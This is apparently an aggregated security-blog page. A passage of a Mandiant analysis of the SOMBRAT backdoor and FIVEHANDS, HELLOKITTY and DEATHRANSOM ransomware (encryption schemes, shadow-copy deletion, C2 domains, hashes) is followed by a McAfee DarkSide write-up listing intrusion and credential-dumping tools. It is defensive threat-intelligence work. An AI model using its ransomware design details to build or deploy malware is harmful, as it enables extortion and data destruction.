The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications.

When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time.

Ransomware Similarities

Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM).


Figure 3: Language check from Fortinet blog

  • HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.
    • HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4).


Figure 4: HELLOKITTY mutex shown in Process Explorer

In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS.

  • Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY
  • Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories

Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM

DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads.

HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting.

FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY.

Deletion of Volume Shadow Copies

DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id.

Encryption Operations

Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file.

  • After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again.
  • DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow.
  • FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries.
  • In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file.
  • DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key.

DEATHRANSOM Encryption

  • DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker's public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys.
  • The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files.
  • For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file.
  • DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file.
  • The analyzed DEATHRANSOM sample used for comparison does not change the file extension.

HELLOKITTY Encryption

  • HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not.
  • Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file.
  • Depending on the version, HELLOKITTY may or may not change the file extension.
  • Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA.

FIVEHANDS Encryption

  • FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file.
  • The four magic bytes DB DC CC AB are appended to the end of the encrypted file.
  • FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted.
  • The encrypted file extension is changed to .crypt  extension
  • FIVEHANDS's encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries.

FIVEHANDS Encrypted Dropper

One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97.

CLI arguments

FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments.

Locale and Mutex checks

DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks.

HELLOKITTY performs a mutex check while the other two do not perform mutex checks.

File Exclusions

DEATHRANSOM and HELLOKITTY both exclude the same directories and files:

programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db.

The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore.

Additional Differences

  • DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections.
  • HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality
  • Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension
  • Different versions of HELLOKITTY are known to check for specific processes to terminate.

Feature

FIVEHANDS

HELLOKITTY

DEATHRANSOM

Programming Language

C++

C++

C

Symmetric Encryption

AES 128

AES 256

AES 256

Asymmetric Encryption

Embedded NTRU Key

Embedded RSA or NTRU Key

Curve25519 ECDH and RSA key creation

Same directory and file name exclusions

No

Yes

Yes

Accepts CLI Arguments

Yes

No

No

Network Connections

No

No

Yes

Locale Check

No

No

Yes

Mutex Check

No

Yes

No

Bytes Appended to Encrypted Files

DB DC CC AB

DA DC CC AB

AB CD EF AB

Table 1: Ransomware feature comparison

Conclusion

Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs.

Indicators

SOMBRAT UNC2447
  • 87c78d62fd35bb25e34abb8f4caace4a
  • 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored)
SOMBRAT Launcher
  • cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key)
  • 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c)
  • 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat)
  • 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b)
  • edf567bd19d09b0bab4a8d068af15572 (wwansvc.b)
  • a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt)
  • f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored)
  • 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored)
SOMBRAT domains
  • Celomito[.]com (unc2447)
  • Feticost[.]com (unc2447)
  • Cosarm[.]com
  • Portalcos[.]com
FIVEHANDS
  • 39ea2394a6e6c39c5d7722dc996daf05
  • f568229e696c0e82abb35ec73d162d5e
FIVEHANDS Encrypted Dropper
  • 6c849920155f48d4b4aafce0fc49eb5b
  • 22d35005e926fe29379cb07b810a6075
  • 57824214710bc0cdb22463571a72afd0
  • 87c0b190e3b4ab9214e10a2d1c182153
  • 1b0b9e4cddcbcb02affe9c8124855e58
  • 46ecc24ef6d20f3eaf71ff37610d57d1
  • 1a79b6d169aac719c9323bc3ee4a8361
  • a64d79eba40229ae9aaebbd73938b985
HELLOKITTY
  • 136bd70f7aa98f52861879d7dca03cf2
  • 06ce6cd8bde756265f95fcf4eecadbe9
  • af568e8a6060812f040f0cb0fd6f5a7b
  • d96adf82f061b1a6c80699364a1e3208
DEATHRANSOM
  • c50ab1df254c185506ab892dc5c8e24b
WARPRISM
  • c925822c6d5175c30ba96388b07e9e16 (unc2447)
  • c171bcd34151cbcd48edbce13796e0ed
  • d87fcd8d2bf450b0056a151e9a116f72
  • f739977004981fbe4a54bc68be18ea79
  • e18b27f75c95b4d50bfcbcd00a5bd6c5
  • df6e6b3e53cc713276a03cce8361ae0f
  • 1cd03c0d00f7bfa7ca73f7d73677d8f8
  • 8071f66d64395911a7aa0d2057b9b00d
  • c12a96e9c50db5f8b0b3b5f9f3f134f0
  • e39184eacba2b05aaa529547abf41d2b
  • 09a05a2212bd2c0fe0e2881401fbff17
  • 8226d7615532f32eca8c04ac0d41a9fd
  • a01a2ba3ae9f50a5aa8a5e3492891082
  • 29e53b32d5b4aae6d9a3b3c81648653c
  • a809068b052bc209d0ab13f6c5c8b4e7
BEACON UNC2447
  • 64.227.24[.]12 Havex Profile January 2021
  • 157.230.184[.]142  chches_ APT10 Profile November 2020-January 2021
  • 74c688a22822b2ab8f18eafad2271cac
  • 7d6e57cbc112ebd3d3c95d3c73451a38
FOXGRABBER
  • 4d3d3919dda002511e03310c49b7b47f

FireEye Detections

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

FIVEHANDS

  • FE_Loader_Win32_Generic_162
  • FE_Ransomware_Win32_FIVEHANDS_1
  • Malware.Binary.exe
  • Ransomware.Win.Generic.MVX

SOMBRAT

  • FE_Backdoor_Win64_SOMBRAT_1
  • Backdoor.Win.SOMBRAT
  • Malware.Binary.exe
  • Backdoor.Win.SOMBRAT.MVX
  • FEC_Trojan_PS1_Generic_7
  • FEC_Trojan_PS1_Generic_8
  • FEC_Trojan_BAT_Generic_5

HELLOKITTY

  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe
  • Ransomware.Win.HELLOKITTY.MVX
  • FE_Ransomware_Win_HELLOKITTY_1
  • FE_Ransomware_Win32_HELLOKITTY_1

DEATHRANSOM

  • FE_Loader_Win32_Generic_92
  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe

BEACON

  • FE_Loader_Win32_BLUESPINE_1
  • Backdoor.BEACON
  • Malware.Binary.exe

WARPRISM

  • FE_Loader_PS1_WARPRISM_1
  • FEC_Loader_PS1_WARPRISM_1
  • Backdoor.BEACON
  • Trojan.Generic
  • Trojan.Win.SYSTEMBC
  • Backdoor.Meterpreter
  • Loader.PS1.WARPRISM.MVX
  • Malware.Binary.exe
  • Malware.Binary.ps1

FOXGRABBER

  • FE_Tool_MSIL_FOXGRABBER_1
  • FE_Trojan_MSIL_Generic_109

FireEye EndPoint Security

Real-Time (IOC)

  • SOMBRAT (BACKDOOR)
  • SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY)
  • FIVEHANDS RANSOMWARE (FAMILY)
  • DEATHRANSOM RANSOMWARE (FAMILY)
  • HELLOKITTY RANSOMWARE (FAMILY)
  • BEACON (FAMILY)

Malware Protection (AV/MG)

  • SOMBRAT 
    • Generic.mg. 87c78d62fd35bb25
    • Generic.mg.6382d48fae675084
    • Trojan.GenericKD.45750384
    • Trojan.GenericKD.36367848
    • Generic.PwShell.RefA.CB5E962A
  • FIVEHANDS
    • Generic.mg.39ea2394a6e6c39c
    • Generic.mg.f568229e696c0e82
    • Generic.mg.6c849920155f48d4
    • Generic.mg.22d35005e926fe29
    • Generic.mg.57824214710bc0cd
    • Generic.mg.87c0b190e3b4ab92
    • Generic.mg.1b0b9e4cddcbcb02
    • Generic.mg.46ecc24ef6d20f3e
    • Generic.mg.1a79b6d169aac719
    • Generic.mg.a64d79eba40229ae
    • Gen:Variant.Zusy.375932
    • Gen:Variant.Zusy.366866
    • Trojan.GenericKD.46059492
    • Trojan.GenericKD.46059131
    • Trojan.GenericKD.45996121
    • Trojan.GenericKD.45702783
  • WARPRISM 
    • Generic.mg.a01a2ba3ae9f50a5
    • Trojan.PowerShell.Agent.IJ
    • Trojan.Agent.EXDR
    • Trojan.PowerShell.Ransom.E
    • Trojan.Agent.EUKPTrojan.GenericKD.45856129
    • Heur.BZC.PZQ.Boxter.829.B5AEB7A6
    • Heur.BZC.PZQ.Boxter.829.B84D01A7
    • Heur.BZC.PZQ.Boxter.829.AE76D25C
    • Trojan.PowerShell.Ransom.F
    • Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87
    • Heur.BZC.PZQ.Boxter.829.A15701BD
  • DEATHRANSOM
    • Generic.mg.c50ab1df254c1855
    • Trojan.Ransomware.GenericKD.35760206
  • HELLOKITTY
    • Generic.mg.136bd70f7aa98f52
    • Generic.mg.06ce6cd8bde75626
    • Generic.mg.af568e8a6060812f
    • Generic.mg.d96adf82f061b1a6
    • Generic.Malware.PfVPk!12.299C21F3
    • Gen:Variant.Ransom.HelloKitty.1
    • Generic.Malware.PfVPk!12.606CCA24
    • Generic.Malware.PfVPk!12.1454636C
  • BEACON
    • Generic.mg.74c688a22822b2ab
    • Generic.mg.7d6e57cbc112ebd3
    • Trojan.Agent.DDSN

MITRE ATT&CK

Tactic

Description

Initial Access

  • T1078 Valid Accounts

Execution

  • T1047 Windows Management Instrumentation
  • T1053.005 Scheduled Task / Job: Scheduled Task
  • T1059.001 Command and Scripting Interpreter: PowerShell
  • T1106 Execution through API

Defense Evasion

  • T1045 Software Packing
  • T1055 Process Injection
  • T1140 Deobfuscate / Decode Files or Information

Discovery

  • T1012 Query Registry
  • T1046 Network Service Scanning
  • T1057 Process Discovery
  • T1082 System Information Discovery
  • T1124 System Time Discovery
  • T1135 Network Share Discovery

Collection

  • T1560.003 Archive Collected Data: Archive via Custom Method

Impact

  • T1485 Data Destruction
  • T1486 Data Encrypted for Impact
  • T1490 Inhibit System Recovery

Command and Control

  • T1071.001 Application Layer Protocol: Web Protocols
  • T1090.002 Proxy: External Proxy
  • T1572  Protocol Tunneling
  • T1573.002 Encrypted Channel: Asymmetric Cryptography

Exfiltration

  • T1041 Exfiltration over C2 Channel

Acknowledgements

Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.

Threat Roundup for May 7 to May 14

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between May 7 and May 14. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

DarkSide Ransomware Victims Sold Short

14 May 2021 at 10:32
How to check for viruses

Over the past week we have seen a considerable body of work focusing on DarkSide, the ransomware responsible for the recent gas pipeline shutdown. Many of the excellent technical write-ups will detail how it operates an affiliate model that supports others to be involved within the ransomware business model (in addition to the developers). While this may not be a new phenomenon, this model is actively deployed by many groups with great effect. Herein is the crux of the challenge: while the attention may be on DarkSide ransomware, the harsh reality is that equal concern should be placed at Ryuk, or REVIL, or Babuk, or Cuba, etc. These, and other groups and their affiliates, exploit common entry vectors and, in many cases, the tools we see being used to move within an environment are the same. While this technical paper covers DarkSide in more detail, we must stress the importance of implementing best practices in securing/monitoring your network. These additional publications can guide you in doing so:

DarkSide Ransomware:  What is it?

As mentioned earlier, DarkSide is a Ransomware-as-a-Service (RaaS) that offers high returns for penetration-testers that are willing to provide access to networks and distribute/execute the ransomware. DarkSide is an example of a RaaS whereby they actively invest in development of the code, affiliates, and new features. Alongside their threat to leak data, they have a separate option for recovery companies to negotiate, are willing to engage with the media, and are willing to carry out a Distributed Denial of Service (DDoS) attack against victims. Those victims who do pay a ransom receive an alert from DarkSide on companies that are on the stock exchange who are breached, in return for their payment. Potential legal issues abound, not to mention ethical concerns, but this information could certainly provide an advantage in short selling when the news breaks.

The group behind DarkSide are also particularly active. Using MVISION Insights we can identify the prevalence of targets. This map clearly illustrates that the most targeted geography is clearly the United States (at the time of writing). Further, the sectors primarily targeted are Legal Services, Wholesale, and Manufacturing, followed by the Oil, Gas and Chemical sectors.

Coverage and Protection Advice

McAfee’s market leading EPP solution covers DarkSide ransomware with an array of early prevention and detection techniques.

Customers using MVISION Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.

Early Detection

MVISION EDR includes detections on many of the behaviors used in the attack including privilege escalation, malicious PowerShell and CobaltStrike beacons, and visibility of discovery commands, command and control, and other tactics along the attack chain. We have EDR telemetry indicating early detection before the detonation of the Ransomware payload.

Prevention

ENS TP provides coverage against known indicators in the latest signature set. Updates on new indicators are pushed through GTI.

ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections.

ENS ATP adds two (2) additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.

For the latest mitigation guidance, please review:

https://kc.mcafee.com/corporate/index?page=content&id=KB93354&locale=en_US

Technical Analysis

The RaaS platform offers the affiliate the option to build either a Windows or Unix version of the ransomware. Depending on what is needed, we observe that affiliates are using different techniques to circumvent detection, by masquerading the generated Windows binaries of DarkSide. Using several packers or signing the binary with a certificate are some of the techniques used to do so.

As peers in our industry have described, we also observed campaigns where the affiliates and their hacking crew used several ways to gain initial access to their victim’s network.

  1. Using valid accounts, exploit vulnerabilities on servers or RDP for initial stage
  2. Next, establish a beachhead in the victim’s network by using tools like Cobalt-Strike (beacons), RealVNC, RDP ported over TOR, Putty, AnyDesk and TeamViewer. TeamViewer is what we also see back in the config of the ransomware sample:

The configuration of the ransomware contains several options to enable or disable system processes, but also the above part where it states which processes should not be killed.

As mentioned before, a lot of the current Windows samples in the wild are the 1.8 version of DarkSide, others are the 2.1.2.3 version. In a chat one of the actors revealed that a V3 version will be released soon.

On March 23rd, 2021, on XSS, one of the DarkSide spokespersons announced an update of DarkSide as a PowerShell version and a major upgrade of the Linux variant:

In the current samples we observe, we do see the PowerShell component that is used to delete the Volume Shadow copies, for example.

  1. Once a strong foothold has been established, several tools are used by the actors to gain more privileges.

Tools observed:

  • Mimikatz
  • Dumping LSASS
  • IE/FireFox password dumper
  • Powertool64
  • Empire
  • Bypassing UAC
  1. Once enough privileges are gained, it is time to map out the network and identify the most critical systems like servers, storage, and other critical assets. A selection of the below tools was observed to have been used in several cases:
  • BloodHound
  • ADFind
  • ADRecon
  • IP scan tools
  • Several Windows native tools
  • PowerShell scripts

Before distributing the ransomware around the network using tools like PsExec and PowerShell, data was exfiltrated to Cloud Services that would later be used on the DarkSide Leak page for extortion purposes. Zipping the data, using Rclone or WinSCP are some of the examples observed.

While a lot of good and in-depth analyses are written by our peers, one thing worth noting is that when running DarkSide, the encryption process is fast. It is one of the areas the actors brag about on the same forum and do a comparison to convince affiliates to join their program:

DarkSide, like Babuk ransomware, has a Linux version. Both target *nix systems but in particular VMWare ESXi servers and storage/NAS. Storage/NAS is critical for many companies, but how many of you are running a virtual desktop, hosted on a ESXi server?

Darkside wrote a Linux variant that supports the encryption of ESXI server versions 5.0 – 7.1 as well as NAS technology from Synology. They state that other NAS/backup technologies will be supported soon.

In the code we clearly observe this support:

Also, the configuration of the Linux version shows it is clearly looking for Virtual Disk/memory kind of files:

Although the adversary recently claimed to vote for targets, the attacks are ongoing with packed and signed samples observed as recently as today (May 12, 2021):

Conclusion

Recently the Ransomware Task Force, a partnership McAfee is proud to be a part of, released a detailed paper on how ransomware attacks are occurring and how countermeasures should be taken. As many of us have published, presented on, and released research upon, it is time to act. Please follow the links included within this blog to apply the broader advice about applying available protection and detection in your environment against such attacks.

MITRE ATT&CK Techniques Leveraged by DarkSide:

Data Encrypted for Impact – T1486

Inhibit System Recovery – T1490

Valid Accounts – T1078

PowerShell – T1059.001

Service Execution – T1569.002

Account Manipulation – T1098

Dynamic-link Library Injection – T1055.001

Account Discovery – T1087

Bypass User Access Control – T1548.002

File Permissions Modification – T1222

System Information Discovery – T1082

Process Discovery – T1057

Screen Capture – T1113

Compile After Delivery – T1027.004

Credentials in Registry – T1552.002

Obfuscated Files or Information – T1027

Shared Modules – T1129

Windows Management Instrumentation – T1047

Exploit Public-Facing Application – T1190

Phishing – T1566

External Remote Services – T1133

Multi-hop Proxy – T1090.003

Exploitation for Privilege Escalation – T1068

Application Layer Protocol – T1071

Bypass User Account Control – T1548.002

Commonly Used Port – T1043

Compile After Delivery – T1500

Credentials from Password Stores – T1555

Credentials from Web Browsers – T1555.003

Credentials in Registry – T1214

Deobfuscate/Decode Files or Information – T1140

Disable or Modify Tools – T1562.001

Domain Account – T1087.002

Domain Groups – T1069.002

Domain Trust Discovery – T1482

Exfiltration Over Alternative Protocol – T1048

Exfiltration to Cloud Storage – T1567.002

File and Directory Discovery – T1083

Gather Victim Network Information – T1590

Ingress Tool Transfer – T1105

Linux and Mac File and Directory Permissions Modification – T1222.002

Masquerading – T1036

Process Injection – T1055

Remote System Discovery – T1018

Scheduled Task/Job – T1053

Service Stop – T1489

System Network Configuration Discovery – T1016

System Services – T1569

Taint Shared Content – T1080

Unix Shell – T1059.004

The post DarkSide Ransomware Victims Sold Short appeared first on McAfee Blogs.

Talos Takes Ep. #53: The broader lesson of those air fryer vulnerabilities

By Jon Munshaw. The latest episode of Talos Takes is available now. Download this episode and subscribe to Talos Takes using the buttons below, or visit the Talos Takes page. It seemed like everyone on security Twitter had a joke when we disclosed a vulnerability in a WiFi-connected air fryer....

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Threat Source Newsletter (May 13, 2021)

  Newsletter compiled by Jon Munshaw. Good afternoon, Talos readers.   In case you missed the Friday news drop last week, we have an update on the Lemon Duck cryptocurrency miner. It's not as eye-catching as the ransomware attacks that make the news, but Lemon Duck's...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Transparent Tribe APT expands its Windows malware arsenal

13 May 2021 at 12:09
By Asheer Malhotra, Justin Thattil and Kendall McKay. Transparent Tribe, also known as APT36 and Mythic Leopard, continues to create fake domains mimicking legitimate military and defense organizations as a core component of their operations. Cisco Talos' previous research has mainly linked this...

[[ This is only the beginning! Please visit the blog for the complete entry ]]
❌